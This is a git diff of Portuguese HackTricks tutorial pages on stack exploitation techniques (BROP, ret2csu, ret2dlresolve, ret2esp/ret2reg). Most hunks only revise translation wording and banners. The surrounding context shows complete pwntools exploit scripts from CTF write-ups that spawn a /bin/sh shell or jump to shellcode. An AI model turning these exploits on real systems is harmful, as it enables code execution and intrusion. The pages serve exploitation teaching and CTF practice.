Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
O objetivo deste ataque é ser capaz de **abusar de um ROP via um buffer overflow sem qualquer informação sobre o binário vulnerável**.\
|
O objetivo deste ataque é ser capaz de **abusar de um ROP via um estouro de buffer sem qualquer informação sobre o binário vulnerável**.\
|
||||||
Este ataque é baseado no seguinte cenário:
|
Este ataque é baseado no seguinte cenário:
|
||||||
|
|
||||||
* Uma vulnerabilidade na pilha e conhecimento de como acioná-la.
|
* Uma vulnerabilidade na pilha e conhecimento de como acioná-la.
|
||||||
|
@ -27,9 +27,9 @@ Este ataque é baseado no seguinte cenário:
|
||||||
|
|
||||||
### **1. Encontrar o offset vulnerável** enviando um caractere a mais até que uma falha do servidor seja detectada
|
### **1. Encontrar o offset vulnerável** enviando um caractere a mais até que uma falha do servidor seja detectada
|
||||||
|
|
||||||
### **2. Brute-force canário** para vazá-lo
|
### **2. Forçar canário** para vazá-lo
|
||||||
|
|
||||||
### **3. Brute-force endereços RBP e RIP** armazenados na pilha para vazá-los
|
### **3. Forçar endereços RBP e RIP armazenados** na pilha para vazá-los
|
||||||
|
|
||||||
Você pode encontrar mais informações sobre esses processos [aqui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [aqui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
Você pode encontrar mais informações sobre esses processos [aqui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [aqui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||||
|
|
||||||
|
@ -106,7 +106,7 @@ Note que geralmente `rdx` já terá um valor maior que 0, então este passo pode
|
||||||
|
|
||||||
### 8. Encontrando Write ou equivalente
|
### 8. Encontrando Write ou equivalente
|
||||||
|
|
||||||
Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binário. E neste momento é possível **controlar 2 argumentos e definir `rdx` maior que 0.**
|
Finalmente, é necessário um gadget que exfiltre dados para exfiltrar o binário. E neste momento é possível **controlar 2 argumentos e definir `rdx` maior que 0.**
|
||||||
|
|
||||||
Existem 3 funções comuns que poderiam ser abusadas para isso:
|
Existem 3 funções comuns que poderiam ser abusadas para isso:
|
||||||
|
|
||||||
|
@ -116,7 +116,7 @@ Existem 3 funções comuns que poderiam ser abusadas para isso:
|
||||||
|
|
||||||
No entanto, o artigo original menciona apenas a **`write`**, então vamos falar sobre isso:
|
No entanto, o artigo original menciona apenas a **`write`**, então vamos falar sobre isso:
|
||||||
|
|
||||||
O problema atual é que não sabemos **onde a função write está dentro da PLT** e não sabemos **um número fd para enviar os dados para nosso socket**.
|
O problema atual é que não sabemos **onde a função write está dentro da PLT** e não sabemos **um número de fd para enviar os dados para nosso socket**.
|
||||||
|
|
||||||
No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write com base em seu **comportamento**. E podemos criar **várias conexões** com o servidor e usar um **FD alto** esperando que ele corresponda a algumas de nossas conexões.
|
No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write com base em seu **comportamento**. E podemos criar **várias conexões** com o servidor e usar um **FD alto** esperando que ele corresponda a algumas de nossas conexões.
|
||||||
|
|
||||||
|
|
|
@ -127,9 +127,9 @@ print(p.recvline()) # should receive "Awesome work!"
|
||||||
Note que o exploit anterior não tem a intenção de fazer um **`RCE`**, ele tem a intenção de apenas chamar uma função chamada **`win`** (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
|
Note que o exploit anterior não tem a intenção de fazer um **`RCE`**, ele tem a intenção de apenas chamar uma função chamada **`win`** (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Ignorando a chamada e alcançando ret
|
### Bypassing the call and reaching ret
|
||||||
|
|
||||||
O seguinte exploit foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, ele está **ignorando as comparações e alcançando o `ret`** após a chamada:
|
O seguinte exploit foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, ele está **bypassing as comparações e alcançando o `ret`** após a chamada:
|
||||||
```python
|
```python
|
||||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||||
|
@ -181,19 +181,19 @@ target.interactive()
|
||||||
```
|
```
|
||||||
### Por Que Não Usar a libc Diretamente?
|
### Por Que Não Usar a libc Diretamente?
|
||||||
|
|
||||||
Geralmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
|
Normalmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,24 +6,24 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informação Básica
|
## Informações Básicas
|
||||||
|
|
||||||
Conforme explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que são utilizados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
|
Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
|
||||||
|
|
||||||
A função **`_dl_runtime_resolve`** obtém da pilha referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
|
A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
|
||||||
|
|
||||||
Portanto, é possível **falsificar todas essas estruturas** para fazer com que a resolução dinâmica resolva o símbolo solicitado (como a função **`system`**) e o chame com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
|
Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
|
||||||
|
|
||||||
Normalmente, todas essas estruturas são falsificadas criando uma **cadeia ROP inicial que chama `read`** em uma memória gravável, em seguida as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pelo `read` em uma localização conhecida, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ele **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço de `$'/bin/sh'`.
|
Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP inicial que chama `read`** sobre uma memória gravável, então as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pela leitura em um local conhecido, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ela **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço para `'$'/bin/sh'`.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Essa técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) e não houver maneiras de vazar endereços da libc.
|
Essa técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) e não houver maneiras de vazar endereços da libc.
|
||||||
|
@ -41,12 +41,12 @@ Ou confira estas páginas para uma explicação passo a passo:
|
||||||
## Resumo do Ataque
|
## Resumo do Ataque
|
||||||
|
|
||||||
1. Escrever estruturas falsas em algum lugar
|
1. Escrever estruturas falsas em algum lugar
|
||||||
2. Definir o primeiro argumento do sistema (`$rdi = &'/bin/sh'`)
|
2. Definir o primeiro argumento da system (`$rdi = &'/bin/sh'`)
|
||||||
3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
|
3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
|
||||||
4. **Chamar** `_dl_runtime_resolve`
|
4. **Chamar** `_dl_runtime_resolve`
|
||||||
5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento
|
5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento
|
||||||
|
|
||||||
Da [**documentação do pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), assim é como um ataque **`ret2dlresolve`** se parece:
|
Da [**documentação do pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), é assim que um ataque **`ret2dlresolve`** se parece:
|
||||||
```python
|
```python
|
||||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||||
>>> rop = ROP(elf)
|
>>> rop = ROP(elf)
|
||||||
|
@ -92,7 +92,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
|
||||||
|
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
### Bruto
|
### Cru
|
||||||
```python
|
```python
|
||||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
|
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
|
||||||
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
|
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
|
||||||
|
@ -195,9 +195,24 @@ target.send(paylaod2)
|
||||||
# Enjoy the shell!
|
# Enjoy the shell!
|
||||||
target.interactive()
|
target.interactive()
|
||||||
```
|
```
|
||||||
## Outros Exemplos e Referências
|
## Outros Exemplos & Referências
|
||||||
|
|
||||||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||||
* 32 bits, sem relro, sem canary, nx, sem pie, estouro de buffer pequeno básico e retorno. Para explorá-lo, o estouro de buffer é usado para chamar `read` novamente com uma seção `.bss` e um tamanho maior, para armazenar lá as tabelas falsas `dlresolve` para carregar `system`, retornar ao principal e reutilizar o estouro de buffer inicial para chamar dlresolve e então `system('/bin/sh')`.
|
* 32bit, sem relro, sem canary, nx, sem pie, overflow básico de buffer pequeno e retorno. Para explorá-lo, o bof é usado para chamar `read` novamente com uma seção `.bss` e um tamanho maior, para armazenar ali as tabelas falsas de `dlresolve` para carregar `system`, retornar ao main e reabusar o bof inicial para chamar dlresolve e então `system('/bin/sh')`.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda & pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda & pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,36 +1,36 @@
|
||||||
# Ret2esp / Ret2reg
|
# Ret2esp / Ret2reg
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Ret2esp**
|
## **Ret2esp**
|
||||||
|
|
||||||
**Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, essa técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado imediatamente após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.
|
**Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, esta técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado logo após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.
|
||||||
|
|
||||||
Se o **Address Space Layout Randomization (ASLR)** não estiver ativado no Windows ou Linux, é possível usar as instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com o [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar essas instruções dentro do programa vulnerável em si (e pode ser necessário derrotar o [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
Se **Address Space Layout Randomization (ASLR)** não estiver habilitado no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||||
|
|
||||||
Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram no shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.
|
Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram com o shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.
|
||||||
|
|
||||||
### Espaço insuficiente
|
### Falta de espaço
|
||||||
|
|
||||||
Se você estiver com espaço insuficiente para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode **`jmp`** inicial como:
|
Se você estiver sem espaço para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode inicial **`jmp`** como:
|
||||||
```armasm
|
```armasm
|
||||||
sub rsp, 0x30
|
sub rsp, 0x30
|
||||||
jmp rsp
|
jmp rsp
|
||||||
```
|
```
|
||||||
E escreva o shellcode no início da pilha.
|
E escreva o shellcode cedo na pilha.
|
||||||
|
|
||||||
### Exemplo
|
### Exemplo
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ pause()
|
||||||
p.sendlineafter('RSP!\n', payload)
|
p.sendlineafter('RSP!\n', payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
Você pode ver outro exemplo dessa técnica em [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Há um estouro de buffer sem NX habilitado, é usado um gadget para **reduzir o endereço de `$esp`** e então um `jmp esp;` para pular para o shellcode:
|
Você pode ver outro exemplo dessa técnica em [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Há um buffer overflow sem NX habilitado, é usado um gadget para **reduzir o endereço de `$esp`** e então um `jmp esp;` para pular para o shellcode:
|
||||||
```python
|
```python
|
||||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
@ -91,7 +91,7 @@ target.interactive()
|
||||||
```
|
```
|
||||||
## Ret2reg
|
## Ret2reg
|
||||||
|
|
||||||
Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registro** contendo um endereço interessante poderia ser usado (**ret2reg**).
|
Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registrador** contendo um endereço interessante pode ser usado (**ret2reg**).
|
||||||
|
|
||||||
### Exemplo
|
### Exemplo
|
||||||
|
|
||||||
|
@ -105,9 +105,7 @@ Você pode encontrar alguns exemplos aqui: 
|
||||||
|
|
||||||
### Ret2sp
|
### Ret2sp
|
||||||
|
|
||||||
No ARM64, **não existem** instruções que permitem **saltar para o registro SP**. Pode ser possível encontrar um gadget que **move sp para um registro e então salta para esse registro**, mas na libc do meu kali não consegui encontrar nenhum gadget assim:
|
No ARM64 **não há** instruções que permitem **pular para o registrador SP**. Pode ser possível encontrar um gadget que **move sp para um registrador e então pula para esse registrador**, mas na libc da minha kali não consegui encontrar nenhum gadget assim:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
for i in `seq 1 30`; do
|
for i in `seq 1 30`; do
|
||||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||||
|
@ -122,14 +120,16 @@ Os únicos que descobri mudariam o valor do registro onde sp foi copiado antes d
|
||||||
### Ret2reg
|
### Ret2reg
|
||||||
|
|
||||||
Se um registro tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como:
|
Se um registro tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
No ARM64, é o **`x0`** que armazena o valor de retorno de uma função, então poderia ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar.
|
Em ARM64, é **`x0`** que armazena o valor de retorno de uma função, então pode ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar.
|
||||||
|
|
||||||
Código de exemplo:
|
Exemplo de código:
|
||||||
```c
|
```c
|
||||||
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
||||||
|
|
||||||
|
@ -154,7 +154,7 @@ do_stuff(2)
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Verificando a desmontagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do estouro de buffer:
|
Verificando a desassemblagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do buffer overflow:
|
||||||
|
|
||||||
